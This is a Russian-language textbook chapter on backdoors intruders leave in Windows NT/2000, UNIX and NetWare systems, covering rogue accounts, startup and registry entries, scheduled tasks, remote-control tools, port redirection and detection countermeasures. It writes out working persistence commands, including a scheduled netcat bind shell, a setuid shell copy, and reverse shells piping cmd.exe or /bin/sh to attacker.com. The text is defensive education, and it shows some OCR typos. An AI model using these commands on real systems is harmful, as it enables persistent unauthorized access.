Иллюстрированный самоучитель по Secure Web

         

"Потайные ходы"


Если непрошеные гости обоснуются в системе, избавиться от них бывает трудно. Даже если брешь, которой они воспользовались, будет найдена и закрыта, злоумышленники могут обеспечить специальный механизм и быстро получить доступ в любое время. Такой механизм называется потайным ходом (back door).

Выявление и устранение такого потайного хода — задача почти неосуществимая, поскольку его можно создать самыми разнообразными способами. Единственной реальной возможностью восстановления системы после взлома является повторная установка операционной системы с исходных носителей и выполнение долгой и кропотливой работы по восстановлению пользовательских данных и приложений с проверенных резервных копий. При этом полное восстановление осуществить очень трудно, особенно, если система имела нестандартную конфигурацию, которая не была документирована.

В следующих разделах описаны основные механизмы, которые используются злоумышленниками для сохранения контроля над системой. Знание этих методов поможет администратору быстро идентифицировать такие вторжения и по возможности сократить трудоемкость процесса восстановления. Где это необходимо, мы представим подробное описание возможных подходов, однако в основном предполагается дать как можно более полный обзор популярных методов.

Создание фиктивных учетных записей

Почти каждому системному администратору известно, что учетные записи с правами суперпользователя — это такие ресурсы, которые легко защищать и контролировать. А вот учетные записи, равные по привилегиям суперпользователю, но имеющие неприметные имена, отследить намного труднее. Злоумышленник обязательно попытается создать такие учетные записи.

NT/2000

В Windows NT/2000 привилегированные локальные учетные записи легко создать с помощью следующих команд.

net user <имя_пользователя><пароль>/ADD

net localgrcup <имя_группы><имя_пользователя>/ADD

С помощью команды net group можно добавить пользователя в глобальную группу. Вспомните, что в системе NT есть отличие между локальной (содержащейся только в локальной базе данных SAM) и глобальной (из доменной базы данных SAM) группами. Встроенные локачьные группы обычно предоставляют более широкие возможности, поскольку с их помощью можно предоставлять различный уровень доступа к системным ресурсам. В операционную систему Win 2000 добавлены новые универсальные группы и локальные группы домена. По сути, эти понятия являются метадоменными, так как они могут быть членами любого домена, принадлежащего дереву или лесу.



Вывести список всех членов основных административных групп так же легко, как и добавить в них новую учетную запись. Как показано в следующем примере, в котором на экран выводится список членов группы Windows 2000 Enterprise Admins (администраторы предприятия), это можно сделать с помощью команды net [local] group.

C:\>net group "Enterprise Admins"

Group name Enterprise Admins

Comment Disighated administrators of the enterprise

Members



------------

Administrator

The command completed successfully.

В первую очередь нужно просмотреть встроенные группы: Administrators, Domain Admins, Enterprise Admins и Schema Admins (на контроллерах домена), а также различные локальные группы операторов.

UNIX

В системе UNIX фиктивные учетные записи создаются и идентифицируются аналогичным образом. Как правило создаются безобидные учетные записи с нулевыми значениями идентификаторов UID и GID. Следует проверить также учетные записи с таким же идентификатором GID, что и у пользователя root, а затем проверить совпадение свойств групп в файле /etc/groups. Кроме того, такие учетные записи легко выявить по содержимому файла /etc/passwd.

Novell

В системе NetWare типичным является создание "осиротевших" объектов, т.е. создание, например, контейнера с одним пользователем, а затем передача этому новому пользователю прав опекунства над родительским контейнером. Если взломщик имеет возможность постоянно регистрироваться в дереве NDS, то эту ситуацию не сможет исправить даже администратор. Более подробную информацию о "потайных ходах" системы NetWare можно найти в главе 7.

Загрузочные файлы

В предыдущих главах много говорилось о "потайных ходах", которые создаются с помощью механизмов загрузки, поддерживаемых различными платформами. Такой способ стал излюбленным методом злоумышленников, поскольку он позволяет устанавливать ловушки, которые активизируются при каждом перезапуске системы неосмотрительными пользователями.

NT/2000



В операционной системе Windows NT в первую очередь нужно проверить различные папки, находящиеся в папке Startup: %systemroot%\profiles\%username%\ start menu\programs\startup (папка All Users будет использоваться независимо от того, кто из пользователей зарегистрировался интерактивно). Кроме того, для запуска программ типа "троянский конь" или для установки "потайного хода" при каждом запуске системы взломщики могут воспользоваться параметрами системного реестра. Нужно проверить следующие параметры

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ 

  •  ...Run


  •  ...RunOnce


  •  ...RunOnceEx


  •  ...RunServices


  •  ...AeDebug 


  •  ...Winlogon


  • В этих параметрах хранятся данные многих из потенциально опасных программ. Например, программа Back Orifice 2000 (ВО2К; см. ниже) устанавливается как служба удаленного администрирования (Remote Administrator Service) в параметре RunServices.

    Из предыдущих глав вы узнали, как можно создать "потайной ход" в системе NT с помощью драйверов устройств, загружающихся во время запуска системы. Драйвер пакета Invisible Keylogger Stealth (IKS) (iks.sys, конечно же, переименованный более подходящим образом) может быть скопирован в каталог %systemroot%\system32\ drivers. При этом программа будет запускаться вместе с ядром NT, благодаря чему на консоли пользователя этот процесс обычно остается невидимым. Программа также записывает несколько значений в системный реестр в HKLM\SYSTEM\Current-ControlSet\Services\iks (опять же, параметр iks может быть переименован взломщиком так же, как и сам файл драйвера). Если заранее сделать надежную резервную копию системного реестра (используя утилиту DumpReg компании Somarsoft), то можно легко выявить "следы присутствия" IKS. Просмотрев с помощью проводника Windows свойства драйвера IKS, можно также установить его происхождение.

    Использование броузера Web для загрузки кода

    Появление в мае 2000 года сценария ILOVEYOU, написанного на языке Visual Basic,  послужило свидетельством того, что есть и другие способы запуска исполняемого кода: это установка начальной страницы, загружаемой при запуске Web-броузера.



    Сценарий ILOVEYOU модифицировал параметры Internet Explorer так, чтобы в качестве начальной использовалась страница, с которой загружался исполняемый файл с именем wiN-BUGSFlx.exe. Этот файл загружался с одного из четырех различных адресов URL, выбранных случайным образом на базе следующего общего шаблона.

    http://www.skynet.net/-[переменная]/

    [длинная_строка_с_ненужной_информацией]/

    WIN-BUGSFlX.exe" 

    Данный адрес URL содержался в параметре системного реестра HKSU\Software\ Microsoft\Internet Explorer\Main\-Start Page. Этот сценарий изменял также несколько параметров системного реестра, включая тот, который запускает загруженные двоичные файлы при перезагрузке системы (предполагалось, что к нему был указан путь), и тот, который удаляет первоначальную страницу запуска.



    Рис. 14.1. В диалоговом окне Internet Explorer, содержащем предупреждающе сообщение, пользователь указывает, нужно ли загрузить файл на компьютер локально или запустить его с удаленного узла. Всегда устанавливайте режим Save this program to disk (сохранить программу на диске)!

    HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX

    HKCUXSoftware\Microsoft\Internet Explorer\Main\Start Page\about:blank

    Конечно, в зависимости от степени доверчивости следующего пользователя, запускающего броузер, для выполнения этого файла перезагрузка может и не понадобиться. Последние версии Internet Explorer перед пересылкой определенных типов файлов, таких как исполняемые файлы . ЕХЕ и . СОМ, по умолчанию выводят на экран окно подтверждения. В зависимости от ответа пользователя на вопрос в диалоговом окне, показанном на рис. 14.1, данный файл может быть запущен сразу после начала работы Web-броузера.

    Контрмера: не запускайте исполняемые файлы, найденные в Internet!

    Должно быть понятно и без слов (хотя на протяжении многих лет это повторяется много раз): нужно быть предельно осторожным по отношению к исполняемым файлам, загружаемым из Internet. Запуск файлов с удаленного сервера — это путь, ведущий прямо к катастрофе. Вместо этого лучше загрузить их на свой компьютер локально, проверить на наличие вирусов, по возможности проанализировать содержимое (например, файлов сценариев или командных файлов), а затем протестировать их на какой-нибудь второстепенной системе.



    UNIX

    В системе UNIX взломщики часто помещают программы, предназначенные для создания "потайного хода", в файлы rc.d. Следует проверить каждый из таких файлов и убедиться, что в них не содержится ни одной незнакомой программы или такой, которая была бы недавно добавлена. Для внедрения ловушек может быть использован также файл inetd.conf. В этом файле находятся параметры демона inetd, суперсервера Internet системы UNIX, который при необходимости динамически запускает различные процессы, такие как FTP, telnet, finger и т.д. В этом файле также можно обнаружить подозрительные демоны.

    Другим методом определения изменений в системных файлах систем UNIX или NT является использование программы Tripwire (http://www.tripwire.com). Коммерческая версия этой популярной программы может работать на многих платформах, включая Windows NT 4.0 SP3 и выше, Red Hat Linux 6.1 и Solaris 2.6 и 7. Эта программа создает сигнатуру каждого автономно хранящегося файла. |£сли файл был изменен без ведома его владельца, то программа Tripwire сообщит, когда и как в него были внесены изменения.

    Novell

    Файлы startup.ncf и autexec.ncf системы NetWare позволяют определить, какие программы, параметры и загружаемые модули системы NetWare (NLM — NetWare Loadable Module) будут запущены при загрузке сервера. Взломщики могут отредактировать один или несколько файлов . NCF, которые вызываются из этих загрузочных файлов (например, файл Idremote.ncf) и, таким образом, создать "потайной ход", например запустить хакерскую программу rconsole. Поэтому периодически проверяйте каждый загрузочный файл, чтобы не упустить момент создания взломщиками "потайного хода".

    Загрузочные файлы — очень удобное, но далеко не единственное средство создания "потайного хода". Для этого подходят также очереди запланированных заданий. В системе Windows NT эта возможность обеспечивается службой Schedule, доступ к которой можно получить с помощью команды AT. Запланировав регулярный запуск требуемой программы, взломщики могут быть уверены, что нужная им служба будет всегда запущена и готова к работе.



    Запланированные задания

    Например, в системе Windows NT простой "потайной ход" можно реализовать, установив утилиту netcat, которая будет ежедневно запускаться в назначенное время.

    C:\>at\\192.168.202/44 12:ООА /every:!

    ""nc -d -L -р 8080 -е cmd.exe"

    Added a new job with job ID = 2

    С помощью этой команды каждый день в полдень будет инициироваться новая программа прослушивания порта 8080. Злоумышленник сможет без проблем подключиться к целевому компьютеру с помощью утилиты netcat и получить в свое распоряжение командную оболочку, периодически удаляя ранее запущенные экземпляры netcat. Кроме того, можно воспользоваться также командным файлом, чтобы сначала проверить, запущена ли утилита netcat, а затем при необходимости осуществить ее запуск.

    В системе UNIX планирование выполнения процессов осуществляется с использованием программы crontab. Она часто применяется для автоматизации трудоемкого процесса поддержки системы, но может быть использована также и для создания "потайных ходов". В большинстве систем UNIX файл crontab можно редактировать с помощью команды crontab -e, при этом данный файл будет открыт в определенном редакторе (который обычно задается с помощью переменных окружения VISUAL или EDITOR).

    Чаще всего "потайной ход" можно создать в системе, в которой программа crontab запускается с правами суперпользователя и используется для вызова командных файлов. Если для этих командных файлов взломщик задаст права доступа, позволяющие редактировать их посторонним пользователям, то он сможет легко вернуться в систему в качестве обычного пользователя и сразу же получить привилегии root. В файле crontab это можно осуществить с помощью следующих команд.

    ср /bin/csh /tmp/evilsh

    chmod 4777 /tmp/evilsh

    Контрмеры: защита от запланированных заданий

    Для того чтобы предотвратить эту атаку в системе NT, с использованием команды at проверьте список заданий на предмет наличия в нем несанкционированных заданий.

    С:\> at



    Status ID Day Time Command Line

    ---------------------------------

    0 Each 1 12:00 AM net localgroup administrators joel /add

    Затем с помощью следующей команды завершите подозрительные процессы с идентификатором 0. 

    C:\>at \\172.29.11.214 0 /delete

    Альтернативный способ заключается в завершении работы службы с помощью команды net stop schedule, а затем запрещении ее запуска с помощью команды Control Panel>Services.

    В системе UNIX представляющие опасность команды можно поискать в файлах crontab. Кроме того, проверьте права доступа, связанные с используемыми файлами и сценариями.

    Удаленное управление

    Вполне возможна ситуация, когда взломщик не сможет вернуться на целевой компьютер, даже обладая необходимыми регистрационными данными. Это может произойти, если некоторые служебные процессы сервера не выводят приглашения на регистрацию. Например, мало пользы от пароля root, если на взламываемом сервере отключены г-службы или telnet. Точно так же в системе Windows NT администратор по умолчанию получает очень ограниченные возможности удаленного управления. Поэтому первоочередная цель взломщика состоит в обеспечении механизмов повторного доступа.

    В большинстве случаев все, что действительно нужно взломщику, — это удаленная командная строка. Ниже представлен обзор средств, с помощью которых достаточно просто получить удаленный доступ к командной оболочке. Кроме того, учитывая широкую распространенность операционных систем с графическим интерфейсом и предоставляемую ими простоту управления, вы познакомитесь с инструментами, которые окажутся полезными и в этом случае.

    Контрмеры против средств удаленного управления приводятся в конце раздела, поскольку большинство из них можно применять для защиты от всех из описанных атак.

    netcat

    В этой книге ранее уже упоминался "швейцарский армейский нож", утилита netcat (ее версии как для системы NT, так и для UNIX можно найти по адресу http.//www. 10pht.com/~weld/netcat/index.html). С помощью этой программы можно незаметно прослушивать нужный порт, выполняя заранее определенные действия после установки удаленного соединения с системой. Утилита netcat окажется чрезвычайно мощным средством удаленного управления, если эти действия будут направлены на запуск командной оболочки. Затем злоумышленники могут подключиться с помощью netcat к заданному порту и получить в свое распоряжение командную оболочку. Команды запуска netcat в режиме прослушивания обычно скрытно помещаются в какой-нибудь загрузочный файл (см. предыдущий раздел), поэтому эта программа прослушивания портов будет активизироваться при каждой перезагрузке системы. Пример такого "потайного хода" показан на рис. 14.2, на котором виден параметр системного реестра Windows NT, приводящий к запуску утилиты netcat в процессе загрузки системы.



    Сообразительные взломщики обязательно замаскируют своего "троянского коня" netcat. Для этого можно дать программе какое-нибудь нейтральное имя, например ddedll32.exe, или такое, что администратор дважды подумает, прежде чем удалит такой файл.

    Параметр -L утилиты netcat дает возможность возобновить работу при многократном нарушении связи; при использовании ~d программа netcat запускается в скрытом режиме (без интерактивной консоли); а -е позволяет задать запускаемую программу, в данном случае командный интерпретатор NT cmd.exe. Параметр -р определяет прослушиваемый порт (в данном примере 8080). Версию программы netcat для системы UNIX можно легко настроить так. чтобы запускалась командная оболочка /bin/sh, что приведет к тому же результату. После этого взломщику останется только соединиться с портом, который прослушивается утилитой netcat, и получить в свое распоряжение удаленную командную оболочку.



    Рис. 14.2. В системном реестре NT4 установлено, что в процессе загрузки системы будет загружаться утилита netcat

    remote.exe (NT)

    Утилиту remote из набора NTRK можно запустить в качестве сервера, чтобы командная строка возвращалась любому аутентифииированному пользователю NT, который подключился с помощью соответствующего удаленного клиента. Эту программу очень просто установить (нужно просто скопировать файл remote.exe в системный каталог, например %systemroot%). Поэтому зачастую ее использование предшествует последующей установке более опасных программ, таких как графические утилиты удаленного управления или программы-регистраторы нажатия клавиш. Более подробно утилита remote.exe описана в главе 5.

    loki

    Программы loki и lokid, кратко рассмотренные в главе 11. предоставляют взломщикам простой механизм повторного получения доступа к взломанной системе, даже если она расположена позади брандмауэра. Оригинальность этих программ заключается в том, что клиент (loki) помещает команды взломщика (в основном это пакеты IP) в заголовки ICMP или UDP и отсылает их серверу (lokid), который выполняет их и возвращает результаты. Поскольку многие брандмауэры допускают прохождение на сервер пакетов ICMP и UDP, то инициированный взломщиком трафик зачастую без проблем проходит через брандмауэр. Сервер lokid запускается с помощью следующей команды.



    lokid -p -i v 1

    Затем для запуска клиента нужно ввести такую команду. loki -d 172.29.11.191 -p -i -v 1 -t 3

    Используемые совместно, утилиты loki и lokid обеспечивают постоянный "потайной ход" в систему, иногда даже через брандмауэр.

    Back Orifice и NetBus

    Хотя оба этих средства по своей природе являются графическими (NetBus даже предоставляет некоторые возможности по управлению рабочим столом), они главным образом удаленно вызывают функции программного интерфейса API. Так что лучше их расценивать их как инструменты создания "потайных ходов", предназначенные для выполнения удаленных команд, а не как графические утилиты удаленного управления. Возможности каждой из этих утилит описаны в главах 4 и 5. Здесь же мы лишь еще раз перечислим те места, в которых взломщики могут скрытно размещать эти средства, чтобы администраторам было легче их разыскать.

    Сервер Back Orifice (ВО) можно настроить так, чтобы он устанавливался и запускался под любым именем (по умолчанию используется имя [пробел] ,ехе). При этом в параметр HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersicn\RunServices добавляется новая запись, так что сервер ВО будет запускаться каждый раз при загрузке системы и прослушивать порт 31337, если не задано другого значения. (Угадайте, почему выбран именно этот порт?)

    Летом 1999 года вышла новая версия пакета Back Orifice. Back Orifice 2000 (BO2K. http://www.bo2k.com), обладающая всеми возможностями своей предшественницы, но с двумя примечательными особенностями. Его можно использовать в Windows NT/2000 (а не только Win 9.x), а, кроме того, имеется комплект инструментов разработчика, позволяющий создавать модификации программы, что значительно затрудняет ее обнаружение. По умолчанию программа ВО2К самостоятельно копируется в файл UMGR32.EXE каталога %systemroot% и прослушивает TCP-порт 54320 или UDP-порт 54321. При этом в списке процессов сервер ВО2К отображается под именем EXPLORER, что предотвращает попытки его удаления. Если программа работает в скрытом режиме, то она устанавливается в качестве службы с именем Remote Administration Service (служба удаленного администрирования) и в параметре системного реестра HKLM\SOFTWAREXMicrosoft\ Windows\CurrentVersion\RunServices содержатся соответствующие данные. При этом запуск "службы" выполняется при загрузке системы, л исходный файл удаляется. Все эти параметры легко изменить с помощью утилиты bo2kcfg.exe, которая входит в состав пакета.



    Программа NetBus также является достаточно легко настраиваемой, и в Internet можно найти несколько ее версий. По умолчанию исполняемый файл сервера называется patch.exe, хотя он может иметь и любое другое имя. Для того чтобы это серверное приложение запускалось каждый раз при загрузке системы, в параметр HKEY_LCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\Run помещается соответствующая запись. По умолчанию программой NetBus прослушивается порт TCP 12345 или 20034 (при желании эти значения также можно изменить).

    Контрмеры: защита против Back Orifice (и других программ)

    Попытки использования Back Orifice (а также служб FTP, telnet, SMTP, HTTP и т.д.) легко обнаружить, используя бесплатную утилиту фирмы Network Flight Recorder, которая называется BackOfficer Friendly (http://www.nfr.net/products/bof/). Эта программа с графическим интерфейсом работает в режиме прослушивания портов и сообщает обо всех попытках соединения с системой. Ее самой замечательной особенностью является режим Fake Replies (ложные ответы). При его использовании программа будет отвечать на telnet-запросы и записывать имена и пароли, с помощью которых взломщики пытаются получить доступ. Как видно из следующего рисунка, программа выполняет большую работу по отслеживанию попыток проникновения в систему.



    Если известен пароль, то программу ВО2К можно легко удалить на удаленном компьютере. Для этого с помощью клиентского приложения нужно соединиться с сервером, в диалоговом окне раскрыть папку Server Control и выбрать команду Shutdown Server с параметром DELETE.

    Перенаправление портов: реверсивный ceaнc telnet, netcat, datapipe, rinetd и fpipe

    В предыдущих разделах некоторые команды удаленного управления, основанные на использовании командного процессора, описывались в контексте прямых соединений. Теперь рассмотрим ситуацию, когда прямому вмешательству в систему что-то препятствует, например прямой доступ блокируется брандмауэром. Изобретательные взломщики могут обойти эти препятствия с помощью перенаправления портов (port redirection).



    Если взломщику удалось взломать брандмауэр, то с помощью перенаправления портов он сможет направить все пакеты на требуемый узел. Важно уяснить возможные последствия взломов этого типа, поскольку взломщик может получить доступ к любой системе, которая находится позади брандмауэра. Перенаправление функционирует по следующему принципу: ведется прослушивание определенных портов и перехваченные на них необработанные пакеты перенаправляются на нужный вторичный адрес. Ниже будут рассмотрены некоторые методы выполнения перенаправления портов вручную, используя такие утилиты, как telnet и netcat, а также такие специализированные средства перенаправления, как datapipe и rinetd.

    Реверсивный сеанс telnet

    Один из любимых взломщиками "потайных ходов" во взломанную систему может быть реализован с помощью демона telnet, входящего в комплект поставки многих версий UNIX. Так что эту программу даже не потребуется загружать. Мы называем этот способ реверсивный сеанс telnet, потому что в процессе его реализации утилита telnet используется для соединения с находящейся в режиме прослушивания утилитой netcat, запущенной на компьютере взломщика. Затем требуемые команды направляются на целевой узел, а результаты их выполнения — обратно.

    Чтобы реализовать реверсивное соединение telnet, на своем компьютере сначала нужно запустить два экземпляра утилиты netcat, используя для этого две отдельные команды.

    С:\> nc -w -1 -р 80

    D:\> nc -w -1 -р 25

    Затем на целевом узле следует использовать следующую команду UNIX,

    sleep 10000 | telnet 172.29.11.191 80 |

    /bin/sh | telnet 172.29.11.191 25

    В результате входные данные с порта 25 с помощью конвейера будут переданы локальной командной оболочке (которая выполнит полученные команды), а результаты снова через конвейер будут перенаправлены обратно, на порт 80 компьютера взломщика.

    Порты из предыдущего примера (80 и 25) используются стандартными службами (HTTP и SMTP соответственно). Поэтому обычно следующий через них поток сообщений свободно проходит через брандмауэр на многие внутренние узлы.



    Захват командной оболочки с помощью утилиты netcat

    Если на целевой компьютер можно поместить утилиту netcat, или если она там уже установлена, то можно воспользоваться аналогичным методом. Такой подход мы называем "захват командной оболочки", потому что его суть заключается в том, что на своем рабочем компьютере взломщик получает в полное распоряжение все функциональные возможности удаленной командной оболочки. Рассмотрим пример, когда в удаленной командной строке запускается следующая команда.

    nс attacker.com 80 | cmd.exe | nс attacker.com 25

    Если хакер на своем компьютере attacker.com с помощью утилиты netcat осуществляет прослушивание TCP-портов 80 и 25 и при этом порт 80 разрешает передачу входящих, а порт 25 — исходящих пакетов для компьютера-жертвы через брандмауэр, то эта команда позволяет "захватить" командную оболочку удаленной системы. На рис. 14.3 показан экран компьютера взломщика, где в верхнем окне на порт 80 передается команда ipconf ig, а результаты ее выполнения направляются в порт 25 и отображаются в нижнем окне.



    Рис. 14.3. Запустив утилиту netcat на компьютере взломщика (на рисунке показан его рабочий стол) и на целевом узле, можно "захватить" удаленную командную оболочку. Команды, которые вводятся в верхнем окне, выполняются на удаленной системе, а результаты их работы — в нижнем

    datapipe

    Реализация перенаправления портов с помощью утилиты netcat и ручная настройка этого процесса может оказаться довольно хлопотным делом. В Internet можно найти несколько программ, которые предназначены специально для этих целей. В системе UNIX очень популярна утилита datapipe. С ее помощью взломщик может обеспечить перенаправление данных так, чтобы пакеты принимались через порт 65000 и переадресовывались в систему NT (порт 139). Далее, на своем компьютере злоумышленник может настроить систему для выполнения прямо противоположных действий: запустить утилиту datapipe для прослушивания порта 139 и перенаправления сообщений на порт 65000 целевой системы. Например, для нападения на систему NT (172. 29.11.100), расположенную позади брандмауэра, на взломанном узле (172.29.11.2) нужно выполнить следующую команду.



    datapipe 65000 139 172.29.11.100

    Затем на собственном компьютере взломщику необходимо запустить утилиту datapipe для прослушивания порта 139 и пересылки полученных данных на порт 65000 взломанного узла.

    datapipe 139 65000 172.29.11.2

    Теперь через брандмауэр открыт доступ к системе NT (172.23.11. ICO). На рис. 14.4 показан пример реализации перенаправления портов и продемонстрирована эффективность этого метода. С помощью такого подхода можно обойти брандмауэры с фильтрацией пакетов, пропускающие сообщения, предназначенные для портов с большими номерами.

    rinetd

    Утилита rinetd — это "сервер перенаправления Internet", созданный Томасом Бутеллом (Thomas Boutell). Эта программа перенаправляет соединения TCP с одного IP-адреса и порта на другой. Таким образом, она. во многом похожа на программу datapipe. Программа работает как на базе интерфейса Win32 (включая Windows 2000), так и в системе Linux УТН..ПГ rinetd очень легко использовать: нужно просто создать конфигурационный файл, в котором указывается правило перенаправления. Этот файл имеет следующий формат

    адрес_привязки порт_прмвязки адрес_соединения порт_соединения

    Запустить программу можно с помощью команды rinetd -с <имя_конфигурационного_файла>. Так же как и datapipe, эта утилита может оказаться очень эффективной против неправильно настроенного брандмауэра.

    fpipe

    Утилита fpipe предназначена для передачи/перенаправления данных с порта TCP. Ее разработали авторы этой книги, занимающие ключевые позиции в компании Foundstone, Inc. Эта программа создает поток TCP. исходящий из выбранного пользователем порта. Она прекрасно подходит для перенаправления, представленного на рис. 14.4, и в системе Windows может послужить равноценной заменой программы datapipe, применимой только к UNIX.

    Одна из особенностей утилиты fpipe, отличающих ее от других средств перенаправления портов, которые можно использовать в системе Windows (таких как rinetd), заключается в возможности задания исходного порта передаваемого трафика. Чтобы оценить "проникающую" способность этой программы, нужно попробовать "обмануть" с ее помощью брандмауэр или маршрутизатор, которые пропускают поток сообщений лишь с определенных портов (например, пакеты с TCP-порта 25 могут обрабатываться почтовым сервером). Обычно в протоколе TCP/IP исходным портам, используемым для клиентских соединений, назначаются большие номера, а соответствующий поток сообщений фильтруется брандмауэром. Однако может оказаться, что брандмауэр пропускает трафик DNS (а в большинстве случаев это именно так). Тогда с помощью утилиты fpipe можно обеспечить прохождение этого потока с определенного исходного порта. В такой ситуации брандмауэр рассматривает этот поток как разрешенный и пропускает его.





    Рис. 14.4. Перенаправление портов

    Пользователи должны знать, что, если при задании порта-источника исходящего соединения был использован параметр -в и это соединение было закрыто, может оказаться невозможным установить его повторно (утилита fpipe сообщит, что адрес уже используется) до того момента, пока не истекут интервалы ожидания TIME_WAIT и CLOSE_WAIT, определяемые протоколом TCP. Эти интервалы ожидания могут варьироваться в диапазоне от 30 секунд до четырех минут и более, в зависимости от используемой версии операционной системы и ее версии. Эти интервалы ожидания определяются протоколом TCP и не являются ограничением самой утилиты fpipe. Причина возникновения такой ситуации заключается в том, что утилита fpipe пытается установить новое соединение с удаленным узлом с применением тех же комбинаций локальных IР-адреса/порта и удаленных IP-адреса/порта, что и в предыдущем сеансе. Новое же соединение не может быть установлено до тех пор, пока стеком протоколов TCP не будет решено, что предыдущее соединение не было полностью завершено.

    VNC

    Рассмотренные ранее средства удаленного управления предоставляют возможность практически полного контроля над системой. Поэтому при одной только мысли о возможности получения в свои руки виртуального рабочего стола целевой системы у взломщиков учащается сердцебиение. Программа Virtual Network Computing (VNC) предоставляет именно такие возможности. Кроме того, этот программный продукт легко установить на "захваченной" системе и использовать ее как "потайной ход", обеспечивающий получение доступа впоследствии.

    Пакет VNC разработан в лаборатории AT&T Laboratories Кембриджского университета, и, несомненно, является лучшим бесплатным графическим средством удаленного управления. В главе 5 было показано, как легко инсталлировать эту программу в Windows NT через удаленное сетевое соединение. Для этого нужно лишь установить службу VNC из командной строки, сделав перед этим единственное изменение в системном реестре, чтобы обеспечить ее скрытный запуск (версии выше 3.3.2 помешают пиктограмму на панель задач и могут быть легко обнаружены пользователями, которые зарегистрировались интерактивно). Конечно же, независимо от версии или выбранного режима процесс winVNC. EXE будет отображен в списке процессов.



    Взлом X Windows и других графических терминальных служб

    На узлах UNIX, на которых не ограничивается исходящий трафик приложения xtenn (TCP 6000). можно модифицировать некоторые из приведенных ранее методов перенаправления портов, чтобы "захватить" окно терминала и перенаправить таким образом оконную командную оболочку обратно на компьютер взломщика. Для этого достаточно запустить Х-сервер, а затем ввести следующую команду. 

    xterrn -display attacker.соm:0.О&

    С системой Windows придется повозиться немного больше. Не остается ничего другого, как воспользоваться такими продуктами, как Windows Terminal Server или Independent Computing Architecture (ICA) компании Citrix (http://www.citrix.com). С помощью этих компонентов можно организовать конвейер, связывающий удаленный рабочий стол с компьютером взломщика. В отличие от системы NT4, в Windows 2000 терминальный сервер является встроенным компонентом, который входит в комплект поставки. Так что почти наверняка он окажется доступным. Чтобы определить, установлены ли на взломанном удаленном узле терминальные службы, можно воспользоваться утилитой sclist из набора NTRK. После этого с помощью привилегированной учетной записи нужно установить соединение. Ниже показан пример использования утилиты sciist (для краткости полученный листинг сокращен).

    D:\Toclbox>sclist athena

    - Service list for ath'ena

    running Alerter Alerter

    running TermService Terminal Services

    running TerrriServLicensing Terminal Services Licensing

    stopped TFTFD Trivial FTP Daemon

    stopped TlntSvr Telnet

    Если оказалось, что на удаленном узле установлены также средства Terminal Services Licensing, то его можно настроить для работы в режиме сервера приложений, а не в режиме сервера удаленного управления. Это может принести взломщику определенную выгоду (компания Microsoft советует устанавливать сервер лицензирования и терминальный сервер на разные компьютеры).

    Общие контрмеры против "потайных ходов": профилактический осмотр



    Вы познакомились с многочисленными средствами и методами, к которым прибегают взломщики для создания "потайных ходов". Как же администратор может обнаружить и нейтрализовать оставленные взломщиками следы?

    Средства автоматизации

    Как говорится, легче предотвратить, чем обезвредить. Многие современные коммерческие антивирусные программные продукты неплохо работают, автоматически сканируя систему в поисках таких программ. Зачастую они нейтрализуют опасность еще до того, как будет причинен реальный вред (например, до получения доступа к дисководу для гибких дисков или до загрузки вложения электронного сообщения). Достаточно полный перечень производителей антивирусных программ можно найти в статье Q49500 базы знаний компании Microsoft по адресу http://support.microsoft.com/support/ kb/articles/Q49/5/00.ASP.

    Недорогая программа The Cleaner, распространяемая компанией MooSoft Development, способна идентифицировать и обезвредить более тысячи различных видов программ типа "троянский конь" (во всяком случае так говорится в рекламных материалах). Для получения более подробной информации обратитесь по адресу http: //www. moosoft.com/сleaner.html.

    При выборе программы удостоверьтесь, что она способна выполнять поиск по таким важным критериям, как двоичные подписи и параметры системного реестра. Это бывает полезно, если взломщики-тугодумы не догадались внести соответствующие изменения и скрыть свое присутствие. Нужно помнить также о том, что антивирусные программы окажутся эффективными только в том случае, если их базы данных постоянно обновляются!

    Ведение учета

    Предположим, что все принятые меры предосторожности не помогли и система все же оказалась взломанной. В такой ситуации единственным оружием против почти всех описанных ранее приемов создания "потайных ходов" является бдительность. Со стороны администратора было бы разумным вести всесторонний учет состояния системы и продумать, где можно быстро разместить надежные данные для восстановления системы. Мы настоятельно рекомендуем выполнять инвентаризацию наиболее важных систем, регистрируя данные как о начальной установке, так и о каждом их обновлении.



    Отслеживание состояния системы в быстро меняющихся условиях, особенно на персональных рабочих станциях, может оказаться довольно утомительным занятием. А вот на относительно статичных рабочих серверах подобный учет может стать полезным подспорьем в процессе проверки целостности узла, который, вероятно, подвергся нападению. Упростить эту задачу помогают инструменты отображения состояния системы, которые будут рассматриваться ниже в этой главе. В оставшейся части данного раздела обсуждаются методы отслеживания изменений системы "вручную", которые не требуют дополнительных затрат (многие из них доступны в большинстве систем). Если еше до вторжения последовать простым рекомендациям, приведенным ниже, то после взлома будет гораздо легче понять, что же произошло. Многие из этих методов полезно применить и после нападения, в качестве следственного эксперимента.

    Кто прослушивает порты

    Возможно, это очевидно, но никогда не стоит недооценивать мощь утилиты netstat. которая позволяет выявить факт прослушивания портов программами, которые аналогичны рассмотренным выше. Следующий пример демонстрирует полезность этого инструмента (для краткости приводится не весь листинг).

    D:\Toolbox>netstat-an

    Active Connections

    Proto Local Address Foreign Address State

    TCP 0.0.0.0:135 0.0.0.0:0 LISTENING

    TCP 0.0.0.0:54320 0.0.0.0:0 LISTENING

    TCP 192.168.234.36:139 0.0.0.0:0 LISTENING

    UDP 0.0.0.0:31337 *:*

    Интересно, догадается ли читатель, что в приведенном фрагменте не согласуется с изложенными выше фактами?

    Единственный недостаток программы netstat заключается в том, что она не сообщает о процессе, который прослушивает тот или иной порт. В системах Windows NT и 2000 с этой же задачей прекрасно справляется программа fport компании Foundstone, Inc.

    D:\Toolbox>fport

    fPort - Process port mapper Copyright (c) 2000, Foundstone, Inc.

    http://www.foundstone.com

    PID NAME TYPE PORT

    222 IEXPLORE UDP 1033

    224 OUTLOOK UDP 1107

    224 OUTLOOK UDP 1108

    224 OUTLOOK TCP 1105



    224 OUTLOOK UDP 1106

    224 OUTLOOK UDP 0

    245 MAPISP32 UDP 0

    266 nc TCP 2222

    Из приведенного листинга видно, что порт с номером 2222 прослушивается утилитой netcat. А при использовании программы netstat можно было бы узнать только номер прослушиваемого порта.

    Для сканирования больших сетей и поиска программ прослушивания лучше всего использовать программы-сканеры портов или сетевые средства, которые обсуждались в главе 2.

